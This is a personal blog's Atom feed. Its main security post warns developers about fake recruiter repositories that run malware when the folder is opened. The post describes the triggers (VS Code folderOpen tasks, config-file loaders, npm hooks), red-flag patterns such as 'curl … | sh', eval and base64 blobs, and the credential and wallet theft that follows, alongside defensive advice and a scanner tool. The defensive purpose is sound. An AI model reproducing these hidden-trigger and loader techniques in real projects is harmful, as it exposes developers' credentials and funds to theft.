<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://www.hasanyilmaz.me/blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://www.hasanyilmaz.me/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-10-20T22:38:04+03:00</updated><id>https://www.hasanyilmaz.me/blog/feed.xml</id><title type="html">Hasan YILMAZ</title><subtitle>Hasan YILMAZ — senior full-stack developer with ~9 years of experience in web apps, LLM tooling and data. Resume, works, projects, blog and contact.</subtitle><author><name>Hasan YILMAZ</name><email>yilmazhasan111@gmail.com</email></author><entry><title type="html">What I Built at Aircall: AI Slack Agents, Self-Service Data and Data Pipelines</title><link href="https://www.hasanyilmaz.me/blog/2026/my-work-at-aircall/" rel="alternate" type="text/html" title="What I Built at Aircall: AI Slack Agents, Self-Service Data and Data Pipelines" /><published>2026-10-19T00:00:00+03:00</published><updated>2026-10-19T00:00:00+03:00</updated><id>https://www.hasanyilmaz.me/blog/2026/my-work-at-aircall</id><content type="html" xml:base="https://www.hasanyilmaz.me/blog/2026/my-work-at-aircall/"><![CDATA[<p>At Aircall I worked in the data team on three main projects, plus a number of smaller tasks for
other teams. Most of the work sat where data engineering meets AI: getting company data to people
through conversational interfaces they already use.</p>

<ul id="markdown-toc">
  <li><a href="#1-ai-powered-slack-applications" id="markdown-toc-1-ai-powered-slack-applications">1. AI-powered Slack applications</a>    <ul>
      <li><a href="#customer-and-sales-insights" id="markdown-toc-customer-and-sales-insights">Customer and Sales Insights</a></li>
      <li><a href="#monitor-pro-subscription" id="markdown-toc-monitor-pro-subscription">Monitor Pro Subscription</a></li>
    </ul>
  </li>
  <li><a href="#2-self-service-data-with-ai-fastdata" id="markdown-toc-2-self-service-data-with-ai-fastdata">2. Self-service data with AI: FastData</a></li>
  <li><a href="#3-data-pipelines-with-airflow-and-dbt" id="markdown-toc-3-data-pipelines-with-airflow-and-dbt">3. Data pipelines with Airflow and dbt</a>    <ul>
      <li><a href="#voice-agent-notifications" id="markdown-toc-voice-agent-notifications">Voice Agent notifications</a></li>
    </ul>
  </li>
  <li><a href="#tech-stack" id="markdown-toc-tech-stack">Tech stack</a></li>
  <li><a href="#wrapping-up" id="markdown-toc-wrapping-up">Wrapping up</a></li>
</ul>

<h2 id="1-ai-powered-slack-applications">1. AI-powered Slack applications</h2>

<p>My first two projects were Slack applications. I designed and built Slack bots that use
<strong>Slack Block Kit</strong> for the interface and connect to <strong>AI agents</strong> working over predefined
company data.</p>

<h3 id="customer-and-sales-insights">Customer and Sales Insights</h3>

<p><strong>Customer and Sales Insights</strong> brings key account data and AI insights into Slack. Users could:</p>

<ul>
  <li>Look up core metrics for any company, such as <strong>MRR</strong> and <strong>user count</strong>.</li>
  <li>Get <strong>AI insights on companies at risk of churning</strong>.</li>
  <li>Ask questions about <strong>past conversations</strong> between the customer and Aircall team members.</li>
  <li>Get a <strong>summary of the customer’s whole journey</strong> with the company.</li>
  <li>Take follow-up <strong>actions</strong> from the same view.</li>
</ul>

<p>The churn risk came from a <strong>churn prediction model</strong> built by a colleague. My part was the
application layer: the Slack integration, the AI agent, and the data plumbing behind them.</p>

<h3 id="monitor-pro-subscription">Monitor Pro Subscription</h3>

<p><strong>Monitor Pro Subscription</strong> helps the company manage its spend on internal tools, especially
paid SaaS licences such as <strong>Hex</strong> and <strong>Monte Carlo</strong>. It shows who actually uses each tool, so
seats can be right-sized and unused licences removed.</p>

<p>On <strong>Hex</strong> alone, we cut the number of paid seats <strong>from 60 to 20</strong>, which saves
<strong>about $80K per year</strong>.</p>

<h2 id="2-self-service-data-with-ai-fastdata">2. Self-service data with AI: FastData</h2>

<p>The second area was <strong>data self-service</strong> across the company, built on AI-driven <strong>SQL generation</strong>.</p>

<p>We evaluated existing options, including the <strong>CastorDoc</strong> and <strong>Hex</strong> agents. I also built our
own agent, <strong>FastData</strong>:</p>

<ul>
  <li>A <strong>Custom GPT</strong> application backed by an <strong>MCP server</strong> that uses <strong>function calling</strong>.</li>
  <li>A large, curated <strong>knowledge base</strong> about our data models, so the agent understands the
business context.</li>
  <li>An API layer built with <strong>Flask</strong> and running on <strong>AWS Lambda</strong> (Python), which runs the
generated queries against <strong>Amazon Redshift</strong>.</li>
</ul>

<p>Anyone in the company can ask questions in plain language, for example:</p>

<blockquote>
  <p><em>How many users did company X have last year?</em></p>

  <p><em>How many calls did user X make in the last 10 days, and how long were they?</em></p>
</blockquote>

<p>FastData reached about <strong>65% accuracy</strong> in end-to-end SQL generation and execution across our
whole warehouse. Next on my list for it are more specialised agents and a full chatbot experience.</p>

<h2 id="3-data-pipelines-with-airflow-and-dbt">3. Data pipelines with Airflow and dbt</h2>

<p>Our warehouse is modelled with <strong>dbt</strong> and orchestrated with <strong>Apache Airflow</strong>. I built many
<strong>DAGs</strong> (directed acyclic graphs), mainly for:</p>

<ul>
  <li><strong>Event-driven Slack notifications</strong> for go-to-market teams, mostly about <strong>Voice Agent (VA)</strong>
customers (see below).</li>
  <li><strong>Historizing tables</strong>, for example keeping a history of the churn prediction model’s output
so it can be analysed over time.</li>
</ul>

<h3 id="voice-agent-notifications">Voice Agent notifications</h3>

<p>Voice Agent is Aircall’s AI voice assistant, which can answer calls on a customer’s behalf. To
support its adoption, I built pipelines that watch for key customer events in the warehouse and
push alerts to dedicated Slack channels.</p>

<p>The main audience was the <strong>customer representative and sales teams</strong>. They used the alerts to
reach out to customers at the right moment: to welcome a new VA user, help one who was
struggling, or pitch Voice Agent to an account that clearly needed it. <strong>Managers</strong> used the same
channels to track opportunities, especially <strong>customers missing many calls who had not yet signed
up for Voice Agent</strong>.</p>

<p>The events we tracked included:</p>

<table class="table">
  <thead>
    <tr>
      <th>Event</th>
      <th>Why it matters</th>
      <th>Who acts on it</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Customer <strong>signed up</strong> for Voice Agent</td>
      <td>Welcome and onboarding outreach</td>
      <td>Customer representatives</td>
    </tr>
    <tr>
      <td>Customer made their <strong>first VA call</strong></td>
      <td>Confirms setup worked; good time to check in</td>
      <td>Customer representatives</td>
    </tr>
    <tr>
      <td>Customer reached their <strong>first hour</strong> of VA calls</td>
      <td>Adoption milestone; chance to expand usage</td>
      <td>Customer representatives</td>
    </tr>
    <tr>
      <td>Customer <strong>missed most of their calls</strong></td>
      <td>Clear sign they need Voice Agent</td>
      <td>Sales, managers</td>
    </tr>
    <tr>
      <td>High missed-call rate but <strong>not signed up</strong> for VA</td>
      <td>Strong upsell opportunity</td>
      <td>Sales, managers</td>
    </tr>
    <tr>
      <td>Customer signed up but <strong>hasn’t used VA</strong> after N days</td>
      <td>Stuck in onboarding; needs help</td>
      <td>Customer representatives</td>
    </tr>
    <tr>
      <td>VA <strong>usage dropped</strong> sharply week over week</td>
      <td>Early churn signal for the feature</td>
      <td>Customer representatives</td>
    </tr>
    <tr>
      <td>VA <strong>trial ending</strong> soon</td>
      <td>Conversion conversation</td>
      <td>Sales</td>
    </tr>
    <tr>
      <td>Customer <strong>disabled or cancelled</strong> Voice Agent</td>
      <td>Find out why; try to win back</td>
      <td>Customer representatives, managers</td>
    </tr>
    <tr>
      <td>Weekly <strong>VA adoption digest</strong></td>
      <td>Sign-ups, usage, and top missed-call accounts</td>
      <td>Managers</td>
    </tr>
  </tbody>
</table>

<p>Each alert included the company, the key numbers behind the event (such as missed-call rate, MRR
and user count), and a link to the account. Reps could act straight from Slack without opening a
dashboard.</p>

<h2 id="tech-stack">Tech stack</h2>

<table class="table">
  <thead>
    <tr>
      <th>Area</th>
      <th>Tools</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Languages</td>
      <td>Python, Node.js, SQL (Redshift / PostgreSQL dialect), Bash</td>
    </tr>
    <tr>
      <td>AI &amp; agents</td>
      <td>Custom GPTs, MCP servers, function calling, Claude</td>
    </tr>
    <tr>
      <td>Data</td>
      <td>dbt, Apache Airflow, Amazon Redshift</td>
    </tr>
    <tr>
      <td>Cloud &amp; infra</td>
      <td>AWS Lambda, Terraform, AWS YAML templates (IaC)</td>
    </tr>
    <tr>
      <td>Observability</td>
      <td>Datadog, Amazon CloudWatch</td>
    </tr>
    <tr>
      <td>Automation &amp; tooling</td>
      <td>Zapier, Slack Block Kit, Cursor</td>
    </tr>
  </tbody>
</table>

<h2 id="wrapping-up">Wrapping up</h2>

<p>Across these projects I connected machine learning outputs, a well-modelled warehouse, and
LLM-based agents to tools people already use every day, like Slack and ChatGPT. Not everything went
as fast as planned, and infrastructure blockers slowed some work down. Still, the work showed how
much faster teams can get answers when data is a question away.</p>]]></content><author><name>Hasan YILMAZ</name><email>yilmazhasan111@gmail.com</email></author><category term="career" /><category term="data-engineering" /><category term="aircall" /><category term="slack" /><category term="ai-agents" /><category term="cost-optimization" /><category term="mcp" /><category term="custom-gpt" /><category term="text-to-sql" /><category term="airflow" /><category term="dbt" /><category term="redshift" /><category term="aws-lambda" /><category term="python" /><category term="nodejs" /><summary type="html"><![CDATA[A look back at the main projects I worked on in the Aircall data team: AI-powered Slack apps (one of which saved $80K/year on tooling), a text-to-SQL self-service agent called FastData, and Airflow pipelines.]]></summary></entry><entry><title type="html">Three fake interviews, three malware repos</title><link href="https://www.hasanyilmaz.me/blog/2026/three-fake-interviews-three-malware-repos/" rel="alternate" type="text/html" title="Three fake interviews, three malware repos" /><published>2026-10-17T00:00:00+03:00</published><updated>2026-10-17T00:00:00+03:00</updated><id>https://www.hasanyilmaz.me/blog/2026/three-fake-interviews-three-malware-repos</id><content type="html" xml:base="https://www.hasanyilmaz.me/blog/2026/three-fake-interviews-three-malware-repos/"><![CDATA[<blockquote>
  <p><strong>TL;DR:</strong> If a recruiter sends you a repository to “review”, “fix” or “run locally”, <strong>treat it like an email
attachment from a stranger.</strong> In all three cases below, the malware ran when the folder was <em>opened</em> or when
tooling loaded a config file. Nobody needed to type <code class="language-plaintext highlighter-rouge">npm start</code>. Scan before you open (for example with
<a href="https://github.com/yilmazhasan/devguard-scanner">devguard-scanner</a>), but <strong>never rely on a scanner alone.</strong></p>
</blockquote>

<details>
  <summary>
    <p><b>Contents</b>&lt;/summary&gt;</p>

    <ol>
      <li><a href="#background">Background</a></li>
      <li><a href="#the-three-cases-at-a-glance">The three cases at a glance</a></li>
      <li><a href="#the-playbook">The playbook</a></li>
      <li><a href="#how-to-protect-yourself">How to protect yourself</a></li>
      <li><a href="#if-you-already-opened-one">If you already opened one</a></li>
      <li><a href="#scanning-with-devguard-scanner">Scanning with devguard-scanner</a></li>
      <li><a href="#why-you-shouldnt-rely-on-it-alone">Why you shouldn’t rely on it alone</a></li>
      <li><a href="#help-build-it">Help build it</a></li>
    </ol>

    <p>&lt;/details&gt;</p>

    <h2 id="background">Background</h2>

    <p>This year I went through several “interviews” for blockchain and Web3 developer roles. The pattern was always
similar: a friendly recruiter on LinkedIn or Telegram, a short call, then a repository to clone and get running
(“just check it works and tell us what you’d improve”).</p>

    <p>I scanned each repository <strong>statically</strong>, without executing anything, before opening it. Three of them were
malicious. Each used a different trick, but the goal was the same: <strong>run code on the developer’s machine as early
and as quietly as possible, then steal credentials and crypto wallets.</strong></p>

    <blockquote>
      <p><strong>About the company names:</strong> these are the companies the <strong>recruiters claimed to represent</strong>. Attackers
routinely impersonate real, reputable companies to look credible. Nothing here suggests the real organizations
were involved. If a real company’s name is used against you, tell that company. They usually want to know.</p>
    </blockquote>

    <h2 id="the-three-cases-at-a-glance">The three cases at a glance</h2>

    <table>
      <thead>
        <tr>
          <th> </th>
          <th>April 2026</th>
          <th>June 2026</th>
          <th>October 2026</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td><strong>Claimed company</strong></td>
          <td>“Softstack”</td>
          <td>“Yuga Labs”</td>
          <td>“Dream Tech”</td>
        </tr>
        <tr>
          <td><strong>Repo theme</strong></td>
          <td>Platform MVP (web game)</td>
          <td>NFT / Web3 front end</td>
          <td>“Decentralized AI Agent Marketplace”</td>
        </tr>
        <tr>
          <td><strong>Trigger</strong></td>
          <td>VS Code task, <code class="language-plaintext highlighter-rouge">runOn: folderOpen</code>, plus an npm <code class="language-plaintext highlighter-rouge">prepare</code> hook</td>
          <td><code class="language-plaintext highlighter-rouge">tailwind.config.js</code>, loaded by build tooling and editor extensions</td>
          <td>VS Code task hidden in <code class="language-plaintext highlighter-rouge">settings.json</code> instead of <code class="language-plaintext highlighter-rouge">tasks.json</code></td>
        </tr>
        <tr>
          <td><strong>Hiding trick</strong></td>
          <td>Hidden terminal (<code class="language-plaintext highlighter-rouge">echo: false</code>)</td>
          <td>Code pushed off-screen by 1,326 spaces, then obfuscated</td>
          <td>Hidden terminal, then <strong>deletes the trigger and <code class="language-plaintext highlighter-rouge">.git</code></strong></td>
        </tr>
        <tr>
          <td><strong>Payload</strong></td>
          <td><code class="language-plaintext highlighter-rouge">curl \| bash</code> from a free-hosting URL made to look like VS Code settings</td>
          <td>Obfuscated JavaScript loader</td>
          <td>Three-stage Node.js infostealer + remote-access trojan</td>
        </tr>
        <tr>
          <td><strong>Scan verdict</strong></td>
          <td><strong>BLOCK</strong>: 2 critical, 2 high</td>
          <td><strong>BLOCK</strong>: 2 critical</td>
          <td><strong>Malicious</strong> (full manual teardown)</td>
        </tr>
      </tbody>
    </table>

    <p>The October one is the most complete, so I took it apart down to the decrypted payload. It steals saved browser
passwords and cards from 13 browsers, the data of 40 crypto-wallet extensions, the macOS keychain, SSH keys,
<code class="language-plaintext highlighter-rouge">.env</code> files and anything named like a secret. It also logs your clipboard every second and opens a remote shell
for the attacker. The full low-level analysis, with IOCs and hashes, is here:
<strong><a href="/blog/2026/is-vs-code-safe-for-a-repo-you-never-run/">Is VS Code safe for a repo you never run?</a></strong></p>

    <h2 id="the-playbook">The playbook</h2>

    <div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Recruiter outreach      "Take-home task"       You open the folder      Auto-execution            Theft
 LinkedIn / Telegram ──▶ Web3 / crypto repo ──▶ (or install deps)   ──▶ IDE task, config file, ──▶ passwords, wallets,
 Discord / email         one commit, new acct                           install hook, git hook     SSH keys, .env, RAT
</code></pre></div>    </div>

    <table>
      <thead>
        <tr>
          <th>Stage</th>
          <th>What attackers do</th>
          <th>Red flags for you</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td><strong>Lure</strong></td>
          <td>A well-paid remote role, often Web3. A fast-tracked process. A real company impersonated.</td>
          <td>Urgency. A new or thin recruiter profile. An email domain that doesn’t match the company.</td>
        </tr>
        <tr>
          <td><strong>Delivery</strong></td>
          <td>A GitHub or Bitbucket repo, or a zip. “Just run it and fix a bug.”</td>
          <td>Being asked to run code <em>before</em> any real technical conversation. A one-commit repo from a throwaway account.</td>
        </tr>
        <tr>
          <td><strong>Trigger</strong></td>
          <td>Something that runs <strong>without you deciding to run it</strong>: <code class="language-plaintext highlighter-rouge">.vscode/tasks.json</code> or <code class="language-plaintext highlighter-rouge">settings.json</code> with <code class="language-plaintext highlighter-rouge">runOn: folderOpen</code>; <code class="language-plaintext highlighter-rouge">package.json</code> <code class="language-plaintext highlighter-rouge">preinstall</code> / <code class="language-plaintext highlighter-rouge">postinstall</code> / <code class="language-plaintext highlighter-rouge">prepare</code>; <code class="language-plaintext highlighter-rouge">*.config.js</code> files (Tailwind, Vite, PostCSS, ESLint, Next.js); git hooks; AI-assistant config.</td>
          <td>Any <code class="language-plaintext highlighter-rouge">.vscode/</code> folder in an interview repo. Lifecycle scripts. Huge or minified config files.</td>
        </tr>
        <tr>
          <td><strong>Hiding</strong></td>
          <td>Hidden terminals, code pushed off-screen with whitespace, obfuscation, payloads served remotely so the repo itself looks clean, self-deleting triggers.</td>
          <td>Very long lines, <code class="language-plaintext highlighter-rouge">echo: false</code> / <code class="language-plaintext highlighter-rouge">reveal: never</code>, <code class="language-plaintext highlighter-rouge">curl … \| sh</code>, <code class="language-plaintext highlighter-rouge">eval</code>, <code class="language-plaintext highlighter-rouge">new Function(...)</code>, base64 blobs.</td>
        </tr>
        <tr>
          <td><strong>Theft</strong></td>
          <td>Browser passwords and cookies, wallet extensions, keychains, SSH keys, <code class="language-plaintext highlighter-rouge">.env</code> files, the clipboard, then a remote shell.</td>
          <td>By this point it’s too late.</td>
        </tr>
      </tbody>
    </table>

    <blockquote>
      <p><strong>The remote payload can change at any time.</strong> The repo often contains only a tiny loader, and the real malware
comes from a server that can serve different code per victim, per OS or per day. A “clean” repo today doesn’t mean
a clean repo tomorrow.</p>
    </blockquote>

    <h2 id="how-to-protect-yourself">How to protect yourself</h2>

    <p><strong>Before you touch the repo</strong></p>

    <ul>
      <li><strong>Verify the recruiter and the company</strong> through an independent channel: the official website, the careers page,
or a known employee. Don’t use links the recruiter sent you.</li>
      <li><strong>Push back on “run it locally” as the first step.</strong> A real employer will happily walk through the code with you,
or give you a sandbox or codespace they control.</li>
      <li><strong>Never clone or open it on your main machine</strong>, especially one with wallets, SSH keys, cloud credentials or an
unlocked password manager.</li>
    </ul>

    <p><strong>Inspect it safely</strong></p>

    <ul>
      <li><strong>Scan it without cloning</strong>, for example with <code class="language-plaintext highlighter-rouge">devguard scan https://github.com/owner/repo</code> (<a href="#scanning-with-devguard-scanner">see below</a>).</li>
      <li><strong>Read it in a plain viewer</strong>, such as the GitHub web UI with line wrapping on, or <code class="language-plaintext highlighter-rouge">less -S</code>, rather than in your IDE.</li>
      <li><strong>Check the auto-run spots first:</strong>
        <ul>
          <li><code class="language-plaintext highlighter-rouge">.vscode/tasks.json</code>, <strong><code class="language-plaintext highlighter-rouge">.vscode/settings.json</code></strong>, <code class="language-plaintext highlighter-rouge">.vscode/launch.json</code>, <code class="language-plaintext highlighter-rouge">.vscode/extensions.json</code></li>
          <li><code class="language-plaintext highlighter-rouge">package.json</code> scripts: <code class="language-plaintext highlighter-rouge">preinstall</code>, <code class="language-plaintext highlighter-rouge">install</code>, <code class="language-plaintext highlighter-rouge">postinstall</code>, <code class="language-plaintext highlighter-rouge">prepare</code></li>
          <li>every <code class="language-plaintext highlighter-rouge">*.config.js</code>, <code class="language-plaintext highlighter-rouge">*.config.ts</code> and <code class="language-plaintext highlighter-rouge">*.config.mjs</code></li>
          <li><code class="language-plaintext highlighter-rouge">.git/hooks</code>, <code class="language-plaintext highlighter-rouge">.husky/</code>, <code class="language-plaintext highlighter-rouge">.devcontainer/</code>, <code class="language-plaintext highlighter-rouge">Makefile</code>, <code class="language-plaintext highlighter-rouge">setup.py</code>, <code class="language-plaintext highlighter-rouge">pyproject.toml</code> build hooks</li>
          <li>AI-assistant config (<code class="language-plaintext highlighter-rouge">.claude/</code>, <code class="language-plaintext highlighter-rouge">.cursor/</code>, <code class="language-plaintext highlighter-rouge">CLAUDE.md</code>, <code class="language-plaintext highlighter-rouge">AGENTS.md</code>, MCP config), which can contain hooks or
instructions aimed at your coding agent</li>
        </ul>
      </li>
      <li><strong>Look for suspiciously long lines:</strong>
<code class="language-plaintext highlighter-rouge">awk 'length &gt; 300 { print FILENAME ":" FNR ": " length }' $(git ls-files)</code></li>
    </ul>

    <p><strong>Harden your editor</strong></p>

    <p>Add this to your <strong>user</strong> <code class="language-plaintext highlighter-rouge">settings.json</code> in VS Code, Cursor, Windsurf or any other fork:</p>

    <div class="language-jsonc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="c1">// Never run tasks automatically on folder open</span><span class="w">
  </span><span class="nl">"task.allowAutomaticTasks"</span><span class="p">:</span><span class="w"> </span><span class="s2">"off"</span><span class="p">,</span><span class="w">
  </span><span class="c1">// Keep Workspace Trust on, and open unknown folders in Restricted Mode</span><span class="w">
  </span><span class="nl">"security.workspace.trust.enabled"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"security.workspace.trust.untrustedFiles"</span><span class="p">:</span><span class="w"> </span><span class="s2">"prompt"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div>    </div>

    <blockquote>
      <p><strong>Tip:</strong> When VS Code asks <em>“Do you trust the authors of the files in this folder?”</em>, the answer for any
interview repo is <strong>No</strong>. Restricted Mode still lets you read the code. It just stops tasks, debuggers and many
extensions from running it.</p>
    </blockquote>

    <p><strong>If you really have to run it</strong></p>

    <ul>
      <li>Use a <strong>disposable VM or cloud dev environment</strong> with no credentials, no wallets, no SSH keys and no access to
your home directory. Destroy it afterwards.</li>
      <li>Containers help, but don’t mount your home directory, the Docker socket or your SSH agent into them.</li>
      <li><code class="language-plaintext highlighter-rouge">npm install --ignore-scripts</code> (or the <code class="language-plaintext highlighter-rouge">pnpm</code>/<code class="language-plaintext highlighter-rouge">yarn</code> equivalent) closes one door. The October case shows it’s
<strong>not enough on its own</strong>: that attack never touched npm.</li>
      <li>Keep crypto in a <strong>hardware wallet</strong>, and never keep seed phrases as files or screenshots on a dev machine.</li>
    </ul>

    <h2 id="if-you-already-opened-one">If you already opened one</h2>

    <blockquote>
      <p><strong>Assume full compromise</strong> if one of these repos was opened and trusted in your IDE, or if its dependencies were
installed. Act from a <strong>different, clean device.</strong></p>
    </blockquote>

    <ol>
      <li><strong>Disconnect</strong> the affected machine from the network.</li>
      <li><strong>Move your crypto first.</strong> Create <em>new</em> wallets with <em>new</em> seed phrases on a clean device, and transfer your
funds. Stealers drain wallets within minutes to hours.</li>
      <li><strong>Change your passwords</strong>, starting with email, password manager, banking, GitHub/GitLab, cloud consoles, npm and
PyPI. Re-enroll 2FA.</li>
      <li><strong>Sign out of all sessions</strong> everywhere. Stolen cookies get around both passwords and 2FA.</li>
      <li><strong>Rotate every secret</strong> that was on the machine: <code class="language-plaintext highlighter-rouge">.env</code> files, API keys, cloud credentials, DB passwords, deploy
tokens and <strong>SSH keys</strong> (remove the old public keys from servers and GitHub too).</li>
      <li>On macOS, <strong>change your login password</strong>, because the keychain may have been copied.</li>
      <li>If it’s a work machine, <strong>tell your security team right away.</strong> Company secrets may be exposed too.</li>
      <li><strong>Reinstall the OS.</strong> A remote shell means arbitrary code ran, and you can’t confirm a clean state by hand.</li>
      <li><strong>Report</strong> the recruiter’s profile and the repository to the platforms involved (LinkedIn, GitHub and so on).</li>
    </ol>

    <h2 id="scanning-with-devguard-scanner">Scanning with devguard-scanner</h2>

    <p>After the first one of these, I started building
<a href="https://github.com/yilmazhasan/devguard-scanner"><strong>devguard-scanner</strong></a>
(<a href="https://pypi.org/project/devguard-scanner/">PyPI</a>), and I used it for the scans above. It looks for exactly this
kind of attack:</p>

    <ul>
      <li><strong>Auto-run triggers:</strong> IDE tasks, install and build hooks, config-as-code files, git hooks, AI-assistant hooks.</li>
      <li><strong>Attack chains:</strong> it follows each trigger to the code it reaches. “Folder open → hidden obfuscated code” is
rated far worse than either one on its own.</li>
      <li><strong>Capabilities:</strong> hidden or off-screen code, download-and-execute, browser and wallet data access, credential
theft, exfiltration.</li>
    </ul>

    <p>It <strong>reads files as data and never executes anything.</strong></p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pipx <span class="nb">install </span>devguard-scanner           <span class="c"># or: uv tool install devguard-scanner</span>

<span class="c"># Scan a GitHub repo WITHOUT cloning it: git never runs, so clone-time hooks can't fire,</span>
<span class="c"># and the files never land in a folder your IDE could open</span>
devguard scan https://github.com/owner/repo     <span class="c"># add --ref BRANCH|TAG|SHA if needed</span>

<span class="c"># Scan a local folder or an extracted zip</span>
devguard scan path/to/repo
</code></pre></div>    </div>

    <p>No install needed:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Hosted API (public repos); Swagger UI at https://devguard-scanner.vercel.app/docs</span>
curl <span class="nt">-s</span> <span class="s1">'https://devguard-scanner.vercel.app/v1/scans/github/owner/repo?format=md'</span>

<span class="c"># Throwaway container</span>
docker run <span class="nt">--rm</span> ghcr.io/yilmazhasan/devguard-scanner scan https://github.com/owner/repo <span class="nt">--stdout</span> md
</code></pre></div>    </div>

    <p>You get a verdict, plus a Markdown report that lists each finding with its file and line, why it matters, when it
might be benign, and what to do next:</p>

    <table>
      <thead>
        <tr>
          <th>Verdict</th>
          <th>Meaning</th>
        </tr>
      </thead>
      <tbody>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">block</code></td>
          <td>Do not open, install, or run it.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">review</code></td>
          <td>Read the report first.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">indicators</code></td>
          <td>Weak signals only, often benign.</td>
        </tr>
        <tr>
          <td><code class="language-plaintext highlighter-rouge">no-indicators</code></td>
          <td>Nothing found by the enabled checks. <strong>Not a guarantee.</strong></td>
        </tr>
      </tbody>
    </table>

    <p>A few other things it can do:</p>

    <ul>
      <li><strong>An MCP server</strong>, so AI coding agents (Claude Code, Cursor, Copilot) can check a repo before they run its setup
commands. Agents are increasingly the ones typing <code class="language-plaintext highlighter-rouge">npm install</code>.</li>
      <li><strong>A CI or pre-commit gate:</strong> exit code <code class="language-plaintext highlighter-rouge">1</code> when findings reach <code class="language-plaintext highlighter-rouge">--fail-on</code> (default <code class="language-plaintext highlighter-rouge">high</code>).</li>
      <li><strong>Optional AI explanations</strong> with your own provider key (Claude, OpenAI, Gemini or a local model). The AI output
is advisory only. It can’t change the verdict or hide deterministic findings.</li>
    </ul>

    <h2 id="why-you-shouldnt-rely-on-it-alone">Why you shouldn’t rely on it alone</h2>

    <blockquote>
      <p><strong>No scanner can tell you a repo is safe, this one included.</strong></p>
    </blockquote>

    <ul>
      <li><strong>It’s static analysis.</strong> If the payload is downloaded or decrypted at runtime, it may only see the loader. In two
of the three cases above, the real malware wasn’t in the repo at all.</li>
      <li><strong>Rules catch known techniques.</strong> Novel or heavily obfuscated malware can get past them.</li>
      <li><strong>Dependencies aren’t downloaded and inspected</strong> unless they’re committed to the repo.</li>
      <li><strong>Attackers read the same rules we write</strong>, and they adapt.</li>
    </ul>

    <p>A <code class="language-plaintext highlighter-rouge">no-indicators</code> verdict means <em>“nothing matched”</em>, not <em>“safe”</em>. Use the scanner as <strong>one layer</strong>, together with
healthy suspicion, a hardened editor and a disposable environment.</p>

    <h2 id="help-build-it">Help build it</h2>

    <p>These campaigns change every few weeks: new trigger files, new hiding tricks, new loaders. One person can’t keep up
with that. <strong>devguard-scanner is open source (Apache-2.0), and contributions are very welcome.</strong></p>

    <ul>
      <li><strong>Share samples.</strong> If you got a malicious interview repo, open an issue. Defang URLs, and don’t post live payloads
publicly; see the <a href="https://github.com/yilmazhasan/devguard-scanner/blob/main/SECURITY.md">security policy</a>.</li>
      <li><strong>Write detection rules</strong> for triggers and techniques that aren’t covered yet: new IDEs, build tools, package
managers, AI-agent config formats.</li>
      <li><strong>Report false positives and false negatives.</strong> Both make it better.</li>
      <li><strong>Add integrations:</strong> CI templates, editor extensions, LLM provider plugins.</li>
      <li><strong>Spread the word.</strong> The best defense is a developer who knows this attack exists.</li>
    </ul>

    <p><strong>Repo:</strong> <a href="https://github.com/yilmazhasan/devguard-scanner">https://github.com/yilmazhasan/devguard-scanner</a> ·
<strong>Issues:</strong> <a href="https://github.com/yilmazhasan/devguard-scanner/issues">https://github.com/yilmazhasan/devguard-scanner/issues</a> ·
<strong>Contributing:</strong> <a href="https://github.com/yilmazhasan/devguard-scanner/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></p>

    <p>The more of us share what we see, the harder and more expensive this attack gets. If this post helps you spot one,
pass it on to a friend who’s job hunting.</p>
  </summary>
</details>]]></content><author><name>Hasan YILMAZ</name><email>yilmazhasan111@gmail.com</email></author><category term="cybersecurity" /><category term="malware" /><category term="interview" /><category term="vscode" /><category term="devguard" /><summary type="html"><![CDATA[Every "take-home task" I scanned this year tried to run malware the moment the folder was opened. What they had in common, how to protect yourself, and how to scan a repo before you touch it.]]></summary></entry><entry><title type="html">Hello, world! — a new home for my highligted works</title><link href="https://www.hasanyilmaz.me/blog/2026/hello-world/" rel="alternate" type="text/html" title="Hello, world! — a new home for my highligted works" /><published>2026-10-15T00:00:00+03:00</published><updated>2026-10-15T00:00:00+03:00</updated><id>https://www.hasanyilmaz.me/blog/2026/hello-world</id><content type="html" xml:base="https://www.hasanyilmaz.me/blog/2026/hello-world/"><![CDATA[<p>After 10 years of my old website, with a jQuery-era template, I rebuilt this site from scratch: plain HTML and CSS,
a sprinkle of JavaScript, and <a href="https://jekyllrb.com/">Jekyll</a> so I can write posts easily.</p>

<h2 id="what-to-expect">What to expect</h2>

<ul>
  <li><strong>PL tricks</strong> — Node.js, Python, Rust, C++ and the cloud bits in between.</li>
  <li><strong>Publishing packages</strong> — NPM, PyPi, Crates and more.</li>
  <li><strong>Tips and tech journals</strong> — From shortcuts to best practices.</li>
  <li><strong>LLMs &amp; tool calling</strong> — lessons from building function calling - <a href="https://toolcalling.ai">toolcalling.ai</a>
and how to train a model on tool calling - <a href="https://toolaugmented.ai">toolaugmented.ai</a>.</li>
  <li><strong>Data</strong> — Small experiments in visualization and engineering.</li>
  <li><strong>ML</strong> — Some basics of MLs.</li>
</ul>

